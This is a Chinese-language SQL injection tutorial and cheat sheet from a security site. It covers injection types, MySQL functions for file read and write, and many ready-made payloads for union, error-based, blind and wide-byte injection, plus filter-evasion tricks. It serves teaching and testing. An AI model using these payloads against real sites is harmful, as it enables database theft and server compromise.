标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3316] 作者: ShYLie 发表于: [2023-08-10]
本文共 [248] 位读者顶过
SQL注入概念是一种代码注入技术,它通过WEB页面请求或表单提交的形式,提交恶意的sql语句,从而达到攻击数据库驱动的目的 SQL注入原理攻击者通过sql语句绕过认证机制,从而达到获取数据库数据或权限的目的,SQL注入本质上时后端程序错误的将用户恶意数据当作sql代码执行 SQL注入的两个条件(关键点)1、用户能够自定义数据。 2、WEB应用把用户输入的数据带到了数据库执行 SQL注入危害1、获取WEB页面的数据。 2、后台登录绕过。 3、通过SQL注入漏洞获取系统权限。 4、读取文件信息 常见的判断数据库类型的方法1、特殊语句:
1、Sql Server:select @@version -- qw[出自:jiwo.org] 2、常见的数据库和对应默认端口号MySQL 3306 oracle 1521 SQL Server tcp:1433 ,udp:1434 Postogresql 5432 3、常见的网站类型和数据库的联系asp:SQL Server,Access .net:SQL Server php:mysql,PostogreSql java:Oracle,Mysql SQL注入常见的注入点GET参数 POST参数 Cookie Referer头 X-Forward-For头 User-Agent头 总的说,一切与数据库据交互的点上都可能存在SQL注入 SQL注入中MySQL常被利用的函数session_user():返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户 version():返回当前数据库版本 database():返回当前数据库名称,只有在use命令选择了一个数据库后才能查到 concat():将查询结果的几行数据合并为一行数据,前后可以添加分隔符(常见0x7e:~) group_concat():将查询结果的一列或几列数据合并为一个字符串,可以添加分隔符(常用0x7e) ascii():将参数字符串转换为asccii码 substr(字符串,1,1):将字符串从的指定位置截取到指定位置(从0开始) sleep():程序沉睡指定时间(秒) load_file(‘路径’):读取本地文件,条件:1、有file_priv权限。2、要知道网站路径。3、当前MySQL用户对被读文件要有读取权限。4、要能够使用union,即能够联合查询。5、文件大小必须小于max_allow_paket(@@max_allow_paket默认大小为1047552字节,即1023KB)。6、magic_qutos_gpc=off(php5.4后被移除)。7、secure_file_priv(/etc/mysql/my.ini或/etc/my.ini)要设置为空(设置为null表示不能读取或写入任何文件,空则表示可以读取或写入,如果设置为具体路径则在具体路径下才有权限)如果单引号被过滤,可以将文件路径hex编码 into outfile(‘路径’):将数据写入文件,如果文件不存在则新建。条件:1、要有file_priv权限。2、知道网站的绝对路径。3、要能够使用union,即能够使用联合查询。4、对WEB目录要有写权限。注:数据要用双引号括起来,使用但引号可能会和数据内部的单引号冲突。如果服务端过滤了单引号,可以将数据进行hex编码。 into dumpfile():与into outfile函数相似,不过dumpfile将数据保存至文件中时,不会保留数据的格式,如行尾换行符,所以dumpfile输出的数据在文件中只有一行;另外,dumpfile能够将数据输出到二进制文件中,outfile不行。 length():返回字符串长度 if(语句1,语句2,语句3):判断语句1执行结果,如果为真则执行语句2后结束,为假则执行语句3后结束 @@datadir:数据库文件存放路径 @@basedir:数据路安装路径 @@version_compile_os:返回操作系统版本 MySQL注入流程查询当前数据库名:union select 1,database(),3 -- qw (-被过滤情况下可以在URL上写%23,url解码后就是#符号) 查询数据库下的表名:union select 1,group_conat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database() -- qw 查询数据库中表中字段名:select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name='表名' -- qw 查询具体数据:select 1,字段名,3 from 表名 注入方式联合注入:
使用union关键字,先使前方查询内容为空,后面跟上union select 语句便可查询出数据,如: 报错注入:当查询没有回显但存在报错信息时使用,在注入点后加上 and updatexml(1,(select database),1) -- qw便可将查询结果放在报错信息中外带 盲注:时间盲注: 没有回显位也没有报错信息,便可以使用时间忙注,在注入点后添加查询查询结果判定语句,如:?id=1' and if(ascii((subtr(select database())0,1)=115),sleep(3),0) -- qw。正确时程序会延时3秒。 布尔盲注: 与时间盲注相似,不过能够直接在页面上判断出语句的正确与否。如:?id=1' and length(select database())=8 -- qw。正确页面与不正确页面有明显区别 堆叠注入:
使用方法:将注入点闭合并在后面加上;符号,在后面添加第二条自己构建的语句,多为数据库操作语句如删表,建表,插入数据等。例如: 局限性: 并不是所有环境都可以执行,受到API或数据库引擎不支持的限制;权限不足时也受影响;当后端·代码只返回一个查询结果时,堆叠注入的查询结果将不显示(读取数据建议使用union);需要预先知道一些数据库信息。 宽字节注入:原理:服务端将字符编码设为GBK,GBK为双字节编码,当前一个字节的ascii码大于128时,会被认为时一个汉字。当php代码存在addslashes,mysql_real_escape_string,mysql_escape_string函数时,会在特殊符号前面加上转义字符\,这时我们在闭合符号前加上%df,服务端进行解码时,会将%df和\看作一个整体,并解码为汉字,从而实现闭合符号逃逸 条件:
1、数据库编码设置为GBK,即charactor_set_client=GBK,charactor_set_connection=GBK。 注入方式:在闭合符号前添加大于128的GBK字符,如%df Cookie注入:在Cookie位置上尝试注入,一般是报错注入 常见的过滤及绕过过滤关键字如select,union,and,or等:1、大小写双写绕过 2、插入字符<>,/**/绕过,如sel/**/ect,uni/**/on,sel<>ect 3、将关键字前后空格替换为注释符,绕过一些检测关键字时带上前后空格的过滤器,如/**/union/**/select/**/ 4、使用url编码绕过 5、使用替代符号,如and->&&->%26%26,or->||->%7c%7c 6、在关键字前面添加%00,在一些c/c++编写的过滤器中,对于%00是空字节,标识语句结束即过滤结束 过滤符号:1、过滤空格: 使用注释符或+替代如:union/**/select,union+select 使用()绕过,在SQL中,一切能够得出结果的语句都可以放入括号中标识子语句,而括号的两端可以没有空格。常用于时间盲注,如select(ascii(subtr(database(),0,1))>24) 使用url编码%a0,%09(tab键),%0a(回车换行符),%0b,%0c,%0d,%00 2、过滤逗号: join绕过,如:union select 1,2,3 -> union select from (select 1)a join (select 2) join (select 3) 盲注时,函数绕过逗号: substr()和mid()使用from for,如substr(database() from 1 for 1)表示将字符串从1位置截取长度1,mid()同理 limit可以使用offset,如:select * from users limit 1 offset 1 3、过滤等号: 使用like关键代替,如:select * from users wehre username like "%admin%" 使用in代替,如:select * from users where username in "admin" 使用between and替换等号,如:加入搜索结果为test,select username from users where id=1 and substr(username,1,1) between ’a‘ and ’b‘,查询页面会错误,因为t不在a和b之间 使用大小于符号 4、过滤注释符: 在结尾加上and ‘1’=‘1或者or ’1‘=’1闭合最后的单引号 尝试-#-,如果过滤不彻底则可以绕过 使用%23(#) 5、过滤引号: 将原本该被引号包裹的部分使用16进制表示,如:select username from users where table_name=0x61645F6C696E6B 可以尝试宽字节注入 6、过滤大小于符号: 使用greatest,least函数(下方有函数解释) 使用strcmp(str1,str2)函数,若所有字符串相同则返回0,若根据当前分类次序,第一个参数小于第二个参数则返回-1,反之返回1 使用in和between and关键字 过滤常用函数:1、sleep()-->benchmark(),benchmark(count,expr)函数将执行expr表达式count次 2、ascii()-->hex(),bin(),转换成16进制和2进制转换函数,转换完成后再使用unhex()和conv()函数将结果转换为string 3、group_concat-->concat_ws(),concat_ws有两个参数,第一参数是连接符,第二个参数是要连接的字符串,该函数将字符串按照用连接符连接成一个字符串 禁止访问information_schema表
使用其他表替代information_schema,如: 无列名查询:1、join-using查列名: 获取第一列信息:?id=-1' union select * from (select * from users as a join users as b) as c --+ 获取第二列信息:?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+ 获取第三列信息:?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+ 原理:多次连接有相同列名时会报错,报错信息中有重复的列名;using()函数将已知的重复列进行合并,从而获取表中所有列名 |